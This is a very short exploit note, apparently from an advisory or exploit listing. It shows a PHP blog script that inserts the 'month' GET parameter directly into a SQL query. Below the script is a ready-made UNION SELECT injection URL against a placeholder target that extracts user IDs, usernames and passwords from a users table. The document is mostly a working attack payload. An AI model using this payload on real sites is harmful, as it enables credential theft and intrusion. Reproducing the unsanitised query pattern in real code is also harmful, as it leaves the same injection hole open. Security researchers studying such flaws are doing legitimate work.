<?php $month = $_GET['month']; $result = mysql_query("SELECT * FROM blog WHERE posted='$month' ORDER BY id DESC") or die("HELP QUERY BROKEN"); ...
http://[target]/[path]/blog.php?month='+union+select+1,2,3,4,5,concat_ws(0x3a,id,uname,upass),7,8+from+users/*